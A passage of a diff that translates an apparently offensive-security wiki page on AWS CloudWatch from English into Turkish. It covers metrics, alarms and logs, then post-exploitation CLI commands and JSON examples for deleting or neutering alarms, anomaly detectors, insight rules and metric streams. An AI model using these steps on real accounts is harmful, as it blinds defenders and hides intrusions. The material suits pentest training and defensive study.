CloudWatch ölçümleri için bir konteynırdır. Ölçümleri kategorize etmeye ve izole etmeye yardımcı olur, böylece bunları yönetmek ve analiz etmek daha kolay hale gelir. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Örnekler**: EC2 ile ilgili ölçümler için AWS/EC2, RDS ölçümleri için AWS/RDS. -### Metrics +### Ölçümler -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Ölçümler, zaman içinde toplanan veri noktalarıdır ve AWS kaynaklarının performansını veya kullanımını temsil eder. Ölçümler, AWS hizmetlerinden, özel uygulamalardan veya üçüncü taraf entegrasyonlardan toplanabilir. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Örnek**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensions +### Boyutlar -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Boyutlar, ölçümlerin bir parçası olan anahtar-değer çiftleridir. Bir ölçümü benzersiz bir şekilde tanımlamaya yardımcı olur ve ek bağlam sağlar; bir ölçüme iliştirilebilecek en fazla boyut sayısı 30'dur. Boyutlar ayrıca belirli özelliklere dayalı olarak ölçümleri filtrelemeye ve birleştirmeye olanak tanır. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Örnek**: EC2 örnekleri için boyutlar InstanceId, InstanceType ve AvailabilityZone içerebilir. -### Statistics +### İstatistikler -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +İstatistikler, zaman içinde ölçüm verileri üzerinde yapılan matematiksel hesaplamalardır. Yaygın istatistikler arasında Ortalama, Toplam, Minimum, Maksimum ve Örnek Sayısı bulunur. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Örnek**: Bir saatlik bir süre boyunca ortalama CPU kullanımını hesaplama. -### Units +### Birimler -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Birimler, bir ölçümle ilişkili ölçüm türüdür. Birimler, ölçüm verilerine bağlam ve anlam sağlamaya yardımcı olur. Yaygın birimler arasında Yüzde, Bayt, Saniye, Sayım bulunur. -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Örnek**: CPUUtilization Yüzde cinsinden ölçülürken, NetworkIn Bayt cinsinden ölçülebilir. -## CloudWatch Features +## CloudWatch Özellikleri -### Dashboard +### Gösterge Paneli -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**CloudWatch Gösterge Panelleri**, AWS CloudWatch ölçümlerinizi özelleştirilebilir **görünümler** sağlar. Farklı AWS hizmetlerinden çeşitli ölçümleri bir araya getirerek verileri görselleştirmek ve kaynakları tek bir görünümde izlemek için paneller oluşturup yapılandırabilirsiniz. -**Key Features**: +**Anahtar Özellikler**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Widget'lar**: Grafikler, metinler, alarmlar ve daha fazlasını içeren gösterge panellerinin yapı taşları. +- **Özelleştirme**: Düzen ve içerik, belirli izleme ihtiyaçlarına göre özelleştirilebilir. -**Example Use Case**: +**Örnek Kullanım Durumu**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- EC2 örnekleri, RDS veritabanları ve S3 kovaları dahil olmak üzere tüm AWS ortamınız için anahtar ölçümleri gösteren tek bir gösterge paneli. -### Metric Stream and Metric Data +### Ölçüm Akışı ve Ölçüm Verisi -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Ölçüm Akışları**, AWS CloudWatch'ta CloudWatch ölçümlerini seçtiğiniz bir hedefe sürekli olarak akıtmanıza olanak tanır. Bu, özellikle AWS dışındaki araçlar kullanarak gelişmiş izleme, analiz ve özel paneller için yararlıdır. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Ölçüm Verisi**, Ölçüm Akışları içindeki gerçek ölçümler veya veri noktalarını ifade eder. Bu veri noktaları, AWS kaynakları için CPU kullanımı, bellek kullanımı vb. gibi çeşitli ölçümleri temsil eder. -**Example Use Case**: +**Örnek Kullanım Durumu**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Gelişmiş analiz için gerçek zamanlı ölçümleri üçüncü taraf bir izleme hizmetine gönderme. +- Uzun vadeli depolama ve uyumluluk için bir Amazon S3 kovasında ölçümleri arşivleme. ### Alarm -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**CloudWatch Alarmları**, ölçümlerinizi izler ve önceden tanımlanmış eşiklere dayalı olarak eylemler gerçekleştirir. Bir ölçüm bir eşiği aştığında, alarm bir veya daha fazla eylem gerçekleştirebilir, örneğin SNS aracılığıyla bildirim göndermek, otomatik ölçekleme politikasını tetiklemek veya bir AWS Lambda işlevi çalıştırmak. -**Key Components**: +**Anahtar Bileşenler**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Eşik**: Alarmın tetiklendiği değer. +- **Değerlendirme Dönemleri**: Verilerin değerlendirildiği dönem sayısı. +- **Alarm için Veri Noktaları**: Alarmı tetiklemek için gereken ulaşılmış eşik sayısı. +- **Eylemler**: Bir alarm durumu tetiklendiğinde ne olacağı (örneğin, SNS aracılığıyla bildirim gönderme). -**Example Use Case**: +**Örnek Kullanım Durumu**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- EC2 örneği CPU kullanımını izleme ve 5 ardışık dakika boyunca %80'i aşarsa SNS aracılığıyla bildirim gönderme. -### Anomaly Detectors +### Anomali Tespit Cihazları -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Anomali Tespit Cihazları**, ölçümlerinizdeki anormallikleri otomatik olarak tespit etmek için makine öğrenimini kullanır. Anomali tespiti, sorunları gösterebilecek normal kalıplardan sapmaları belirlemek için herhangi bir CloudWatch ölçümüne uygulanabilir. -**Key Components**: +**Anahtar Bileşenler**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Model Eğitimi**: CloudWatch, normal davranışın neye benzediğini belirlemek için geçmiş verileri kullanarak bir model eğitir. +- **Anomali Tespit Bandı**: Bir ölçüm için beklenen değer aralığını görsel olarak temsil eder. -**Example Use Case**: +**Örnek Kullanım Durumu**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Bir güvenlik ihlali veya uygulama sorunu gösterebilecek EC2 örneğinde alışılmadık CPU kullanım kalıplarını tespit etme. -### Insight Rules and Managed Insight Rules +### İçgörü Kuralları ve Yönetilen İçgörü Kuralları -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**İçgörü Kuralları**, ölçüm verilerinizdeki eğilimleri belirlemenize, zirveleri tespit etmenize veya ilgi çekici diğer kalıpları tanımlamanıza olanak tanır; bu, eylemlerin alınması gereken koşulları tanımlamak için **güçlü matematiksel ifadeler** kullanır. Bu kurallar, kaynak performansını ve kullanımını izlerken anormallikleri veya alışılmadık davranışları belirlemenize yardımcı olabilir. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Yönetilen İçgörü Kuralları**, AWS tarafından sağlanan önceden yapılandırılmış **içgörü kurallarıdır**. Belirli AWS hizmetlerini veya yaygın kullanım durumlarını izlemek için tasarlanmıştır ve ayrıntılı yapılandırma gerektirmeden etkinleştirilebilir. -**Example Use Case**: +**Örnek Kullanım Durumu**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- RDS Performansını İzleme: CPU kullanımı, bellek kullanımı ve disk I/O gibi anahtar performans göstergelerini izleyen Amazon RDS için yönetilen bir içgörü kuralını etkinleştirme. Bu ölçümlerden herhangi biri güvenli operasyonel eşikleri aşarsa, kural bir uyarı veya otomatik hafifletme eylemi tetikleyebilir. -### CloudWatch Logs +### CloudWatch Günlükleri -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +**Uygulamalardan** ve **sistemlerden** (CloudTrail dahil) **AWS hizmetlerinden** günlükleri **toplayıp izlemeye** olanak tanır ve **uygulamalar/sistemler** (CloudWatch Agent bir hosta kurulabilir). Günlükler **sınırsız süreyle** saklanabilir (Günlük Grubu ayarlarına bağlı olarak) ve dışa aktarılabilir. -**Elements**: +**Öğeler**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Günlük Grubu** | Aynı saklama, izleme ve erişim kontrol ayarlarını paylaşan bir **günlük akışları koleksiyonu** | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Günlük Akışı** | **Aynı kaynaktan** gelen **günlük olaylarının** bir dizisi | +| **Abonelik Filtreleri** | Belirli bir günlük grubundaki olayları eşleştiren bir **filtre deseni tanımlar**, bunları Kinesis Data Firehose akışına, Kinesis akışına veya bir Lambda işlevine gönderir | -### CloudWatch Monitoring & Events +### CloudWatch İzleme & Olaylar -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **temel** verileri **her 5 dakikada** toplar (**detaylı** olanı **her 1 dakikada** yapar). Toplama işleminden sonra, bir alarmı tetiklemek için eşikleri **kontrol eder**.\ +Bu durumda, CloudWatch bir olayı göndermeye ve bazı otomatik eylemleri gerçekleştirmeye (AWS lambda işlevleri, SNS konuları, SQS kuyrukları, Kinesis Akışları) hazır olabilir. -### Agent Installation +### Agent Kurulumu -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Günlükleri otomatik olarak CloudWatch'a geri göndermek için makinelerinizde/konteynerlerinizde ajanlar kurabilirsiniz. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Bir rol oluşturun** ve **örneği** CloudWatch'un örneklerden veri toplamasına izin veren izinlerle **bağlayın**; ayrıca AWS sistem yöneticisi SSM ile etkileşimde bulunma izni (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Ajanı** EC2 örneğine **indirin** ve **kurun** ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Bunu EC2 içinden indirebilir veya AWS Sistem Yöneticisi kullanarak otomatik olarak AWS-ConfigureAWSPackage paketini seçerek kurabilirsiniz. +- CloudWatch Ajanını **yapılandırın** ve **başlatın**. -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. +Bir günlük grubunun birçok akışı vardır. Bir akışın birçok olayı vardır. Ve her akışın içinde, olayların sıralı olması garanti edilir. ## Enumeration - ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Bu izinlere sahip bir saldırgan, bir organizasyonun izleme ve uyarı altyapısını önemli ölçüde zayıflatabilir. Mevcut alarmları silerek, bir saldırgan kritik performans sorunları, güvenlik ihlalleri veya operasyonel hatalar hakkında yöneticileri bilgilendiren önemli uyarıları devre dışı bırakabilir. Ayrıca, metrik alarmlarını oluşturarak veya değiştirerek, saldırgan yöneticileri yanlış uyarılarla yanıltabilir veya meşru alarmları susturarak, kötü niyetli faaliyetleri gizleyebilir ve gerçek olaylara zamanında yanıt verilmesini engelleyebilir. +Ayrıca, **`cloudwatch:PutCompositeAlarm`** izni ile bir saldırgan, bileşik alarm A'nın bileşik alarm B'ye, bileşik alarm B'nin de bileşik alarm A'ya bağlı olduğu bir döngü veya döngü oluşturma yeteneğine sahip olacaktır. Bu senaryoda, döngünün bir parçası olan herhangi bir bileşik alarmı silmek mümkün değildir çünkü silmek istediğiniz alarmla her zaman bağlı olan bir bileşik alarm vardır. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +Aşağıdaki örnek, bir metrik alarmını etkisiz hale getirmenin nasıl yapılacağını göstermektedir: -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Bu metrik alarmı, belirli bir EC2 örneğinin ortalama CPU kullanımını izler, metriği her 300 saniyede bir değerlendirir ve 6 değerlendirme dönemi gerektirir (toplam 30 dakika). Eğer ortalama CPU kullanımı bu dönemlerin en az 4'ünde %60'ı aşarsa, alarm tetiklenecek ve belirtilen SNS konusuna bir bildirim gönderecektir. +- Eşiği %99'dan fazla olacak şekilde değiştirerek, Periyodu 10 saniye, Değerlendirme Dönemlerini 8640 (çünkü 10 saniyeden 8640 dönem 1 güne eşittir) ve Alarm için Veri Noktalarını da 8640 olarak ayarlayarak, CPU kullanımının 24 saat boyunca her 10 saniyede bir %99'un üzerinde olması gerekecektir ki bu da bir alarmı tetiklesin. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="Değiştirilmiş Metri Alarmı" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilmemiş sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Alarm eylemlerini silerek, saldırgan kritik alarmların ve otomatik yanıtların tetiklenmesini engelleyebilir; bu, bir alarm durumu ulaşıldığında yöneticileri bilgilendirmek veya otomatik ölçeklendirme faaliyetlerini başlatmak gibi durumları içerir. Alarm eylemlerini uygunsuz bir şekilde etkinleştirmek veya yeniden etkinleştirmek, daha önce devre dışı bırakılmış eylemleri yeniden etkinleştirerek veya hangi eylemlerin tetiklendiğini değiştirerek beklenmedik davranışlara yol açabilir; bu da olay yanıtında kafa karışıklığı ve yanlış yönlendirmeye neden olabilir. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Ayrıca, bu izne sahip bir saldırgan alarm durumlarını manipüle edebilir, yöneticileri oyalamak ve kafa karıştırmak için sahte alarmlar oluşturabilir veya devam eden kötü niyetli faaliyetleri veya kritik sistem arızalarını gizlemek için gerçek alarmları susturabilir. +- Eğer bir bileşik alarmda **`SetAlarmState`** kullanırsanız, bileşik alarmın gerçek durumuna geri dönmesi garanti edilmez. Gerçek durumuna yalnızca çocuk alarmlarından herhangi biri durum değiştirirse geri döner. Ayrıca, yapılandırmasını güncellediğinizde yeniden değerlendirilir. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilemeyen sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Bir saldırgan, metrik verilerdeki olağandışı desenleri veya anormallikleri tespit etme ve bunlara yanıt verme yeteneğini tehlikeye atabilir. Mevcut anomali dedektörlerini silerek, bir saldırgan kritik uyarı mekanizmalarını devre dışı bırakabilir; ve bunları oluşturarak veya değiştirerek, izlemeyi dikkatini dağıtmak veya aşırı yüklemek amacıyla yanlış yapılandırabilir veya yanlış pozitifler oluşturabilir. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +Aşağıdaki örnek, bir metrik anomali dedektörünü etkisiz hale getirmenin nasıl yapılacağını göstermektedir. Bu metrik anomali dedektörü, belirli bir EC2 örneğinin ortalama CPU kullanımını izler ve yalnızca istenen zaman aralığı ile "ExcludedTimeRanges" parametresini eklemek, anomali dedektörünün o süre zarfında herhangi bir ilgili veriyi analiz etmemesini veya uyarı vermemesini sağlamak için yeterlidir. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="Değiştirilmiş Metriği Anomali Tespit Cihazı" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**Olası Etki**: Sıradışı desenlerin veya güvenlik tehditlerinin tespitinde doğrudan etki. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Bir saldırgan, panoları oluşturarak, değiştirerek veya silerek bir organizasyonun izleme ve görselleştirme yeteneklerini tehlikeye atabilir. Bu izinler, sistemlerin performansı ve sağlığı hakkında kritik görünürlüğü kaldırmak, panoları yanlış veriler gösterecek şekilde değiştirmek veya kötü niyetli faaliyetleri gizlemek için kullanılabilir. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` - -**Potential Impact**: Loss of monitoring visibility and misleading information. +**Potansiyel Etki**: İzleme görünürlüğünün kaybı ve yanıltıcı bilgiler. ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. - +Insight kuralları anormallikleri tespit etmek, performansı optimize etmek ve kaynakları etkili bir şekilde yönetmek için kullanılır. Mevcut insight kurallarını silerek, bir saldırgan kritik izleme yeteneklerini ortadan kaldırabilir ve sistemi performans sorunları ve güvenlik tehditlerine karşı kör bırakabilir. Ayrıca, bir saldırgan yanıltıcı veriler oluşturmak veya kötü niyetli faaliyetleri gizlemek için insight kurallarını oluşturabilir veya değiştirebilir, bu da yanlış teşhisler ve operasyon ekibinden uygunsuz tepkilere yol açabilir. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Potansiyel Etki**: Performans sorunlarını ve anormallikleri tespit etme ve bunlara yanıt verme zorluğu, yanlış bilgilendirilmiş karar verme ve potansiyel olarak kötü niyetli faaliyetleri veya sistem arızalarını gizleme. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Kritik içgörü kurallarını devre dışı bırakarak, bir saldırgan organizasyonu ana performans ve güvenlik metriklerine karşı etkili bir şekilde kör edebilir. Tersine, yanıltıcı kuralları etkinleştirerek veya yapılandırarak, yanlış veriler oluşturmak, gürültü yaratmak veya kötü niyetli faaliyetleri gizlemek mümkün olabilir. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Potansiyel Etki**: Operasyon ekibi arasında kafa karışıklığına yol açarak, gerçek sorunlara gecikmeli yanıtlar ve yanlış uyarılara dayalı gereksiz eylemlere neden olabilir. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +**`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** izinlerine sahip bir saldırgan, metrik veri akışlarını oluşturup silerek güvenliği, izlemeyi ve veri bütünlüğünü tehlikeye atabilir: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Kötü niyetli akışlar oluşturma**: Hassas verileri yetkisiz hedeflere göndermek için metrik akışları oluşturma. +- **Kaynak manipülasyonu**: Aşırı veri ile yeni metrik akışlarının oluşturulması, çok fazla gürültü üretebilir ve yanlış uyarılara neden olarak gerçek sorunları maskeleyebilir. +- **İzleme kesintisi**: Metrik akışlarını silerek, saldırganlar izleme verilerinin sürekli akışını kesintiye uğratır. Bu şekilde, kötü niyetli faaliyetleri etkili bir şekilde gizlenir. +Benzer şekilde, **`cloudwatch:PutMetricData`** izni ile bir metrik akışına veri eklemek mümkün olacaktır. Bu, eklenen uygunsuz veri miktarı nedeniyle bir DoS'a yol açabilir ve tamamen işe yaramaz hale getirebilir. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace 